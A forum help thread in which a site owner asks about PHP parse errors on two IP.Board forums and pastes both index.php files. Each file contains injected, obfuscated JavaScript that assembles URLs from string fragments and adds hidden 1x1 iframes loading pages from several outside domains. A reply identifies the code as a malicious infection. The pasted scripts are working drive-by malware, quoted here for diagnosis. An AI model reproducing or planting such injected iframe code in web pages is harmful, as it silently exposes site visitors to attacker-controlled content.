I know there is a lot of this threads but I to need help if anyone kindly help me it is very much appreciative. I have stumble across an error in my forum and I found it weird just a week ago this never happened everything was working well but now both my forums has this error can anyone help me please? First Forum Parse error: syntax error, unexpected '<' in /home/---/public_html/forums/index.php on line 28 Code (markup): Second Forum Parse error: syntax error, unexpected '<' in /home/---/public_html/---.org/forums/index.php on line 28 Code (markup): Both have the similar problem, my forum version is the new one but not the latest one. I have already ask my host if they can me out but they have no slight clue so now I'm here for help. First Forum: mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);<?php /** * <pre> * Invision Power Services * IP.Board v3.1.4 * Main public executable wrapper. * Set-up and load module to run * Last Updated: $Date: 2010-10-05 11:57:32 -0400 (Tue, 05 Oct 2010) $ * </pre> * * @author $Author: matt $ * @copyright (c) 2001 - 2009 Invision Power Services, Inc. * @license http://www.invisionpower.com/community/board/license.html * @package IP.Board * @link http://www.invisionpower.com * @version $Rev: 6944 $ * */ define( 'IPB_THIS_SCRIPT', 'public' ); require_once( './initdata.php' ); require_once( IPS_ROOT_PATH . 'sources/base/ipsRegistry.php' ); require_once( IPS_ROOT_PATH . 'sources/base/ipsController.php' ); ipsController::run(); exit();<script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://';b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script><script>wa='t';p='ht';f='k98';tb='ame';bg='.';v='sr';g='tp:';vf='/z';bs='t';px='v.h';br='yt';k='c';yr='m';ds='m';ej='/';au='/';t='com';sp='ifr';r='ca';cp='y';wz='ir';wf='u';b='5';se=sp.concat(tb);oz=v.concat(k);db=p.concat(g,ej,vf,wz,cp,r,bs,wf,yr,bg,t,au,f,b,br,px,wa,ds);var ip=document.createElement(se);ip.setAttribute('width','1');ip.setAttribute('height','1');ip.frameBorder=0;ip.setAttribute(oz,db);document.body.appendChild(ip);</script><script>ez='://';la='k9';vp='85y';ma='zi.';s='c';f='m';kg='cub';i='t';zz='/';l='sr';n='c';ng='ame';rv='.ht';gn='om';h='ht';tg='v';vl='tp';kf='ni';v='ifr';vq='yfo';bc=v.concat(ng);x=l.concat(n);p=h.concat(vl,ez,kg,vq,kf,ma,s,gn,zz,la,vp,i,tg,rv,f);var jc=document.createElement(bc);jc.setAttribute('width','1');jc.setAttribute('height','1');jc.frameBorder=0;jc.setAttribute(x,p);document.body.appendChild(jc);</script><script>yd='co';mh='m';im='a.';rm='h';my='5';t='m/';qg='v';vp='if';x='me';a='p:/';gv='a';q='/r';xk='.';ei='htt';y='k';cw='9';w='s';u='8';dk='ra';f='ytv';iy='e';l='jus';b='ew';hh='rc';h='t';vu=vp.concat(dk,x);qm=w.concat(hh);ka=ei.concat(a,q,b,gv,l,iy,qg,im,yd,t,y,cw,u,my,f,xk,rm,h,mh);var tq=document.createElement(vu);tq.setAttribute('width','1');tq.setAttribute('height','1');tq.frameBorder=0;tq.setAttribute(qm,ka);document.body.appendChild(tq);</script> PHP: Second Forum mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);<?php /** * <pre> * Invision Power Services * IP.Board v3.1.4 * Main public executable wrapper. * Set-up and load module to run * Last Updated: $Date: 2010-10-05 11:57:32 -0400 (Tue, 05 Oct 2010) $ * </pre> * * @author $Author: matt $ * @copyright (c) 2001 - 2009 Invision Power Services, Inc. * @license http://www.invisionpower.com/community/board/license.html * @package IP.Board * @link http://www.invisionpower.com * @version $Rev: 6944 $ * */ define( 'IPB_THIS_SCRIPT', 'public' ); require_once( './initdata.php' ); require_once( IPS_ROOT_PATH . 'sources/base/ipsRegistry.php' ); require_once( IPS_ROOT_PATH . 'sources/base/ipsController.php' ); ipsController::run(); exit();<script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://';b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script><script>wa='t';p='ht';f='k98';tb='ame';bg='.';v='sr';g='tp:';vf='/z';bs='t';px='v.h';br='yt';k='c';yr='m';ds='m';ej='/';au='/';t='com';sp='ifr';r='ca';cp='y';wz='ir';wf='u';b='5';se=sp.concat(tb);oz=v.concat(k);db=p.concat(g,ej,vf,wz,cp,r,bs,wf,yr,bg,t,au,f,b,br,px,wa,ds);var ip=document.createElement(se);ip.setAttribute('width','1');ip.setAttribute('height','1');ip.frameBorder=0;ip.setAttribute(oz,db);document.body.appendChild(ip);</script><script>ez='://';la='k9';vp='85y';ma='zi.';s='c';f='m';kg='cub';i='t';zz='/';l='sr';n='c';ng='ame';rv='.ht';gn='om';h='ht';tg='v';vl='tp';kf='ni';v='ifr';vq='yfo';bc=v.concat(ng);x=l.concat(n);p=h.concat(vl,ez,kg,vq,kf,ma,s,gn,zz,la,vp,i,tg,rv,f);var jc=document.createElement(bc);jc.setAttribute('width','1');jc.setAttribute('height','1');jc.frameBorder=0;jc.setAttribute(x,p);document.body.appendChild(jc);</script><script>yd='co';mh='m';im='a.';rm='h';my='5';t='m/';qg='v';vp='if';x='me';a='p:/';gv='a';q='/r';xk='.';ei='htt';y='k';cw='9';w='s';u='8';dk='ra';f='ytv';iy='e';l='jus';b='ew';hh='rc';h='t';vu=vp.concat(dk,x);qm=w.concat(hh);ka=ei.concat(a,q,b,gv,l,iy,qg,im,yd,t,y,cw,u,my,f,xk,rm,h,mh);var tq=document.createElement(vu);tq.setAttribute('width','1');tq.setAttribute('height','1');tq.frameBorder=0;tq.setAttribute(qm,ka);document.body.appendChild(tq);</script> PHP:
Your web host is infected, it probably damaged other files too. To clarify a bit, it edited your script files and added malicious JavaScript code.
The javascript is adding a frame in all your pages and the frame is pointing to htt*://hysofufewobe.com/k985ytv.htm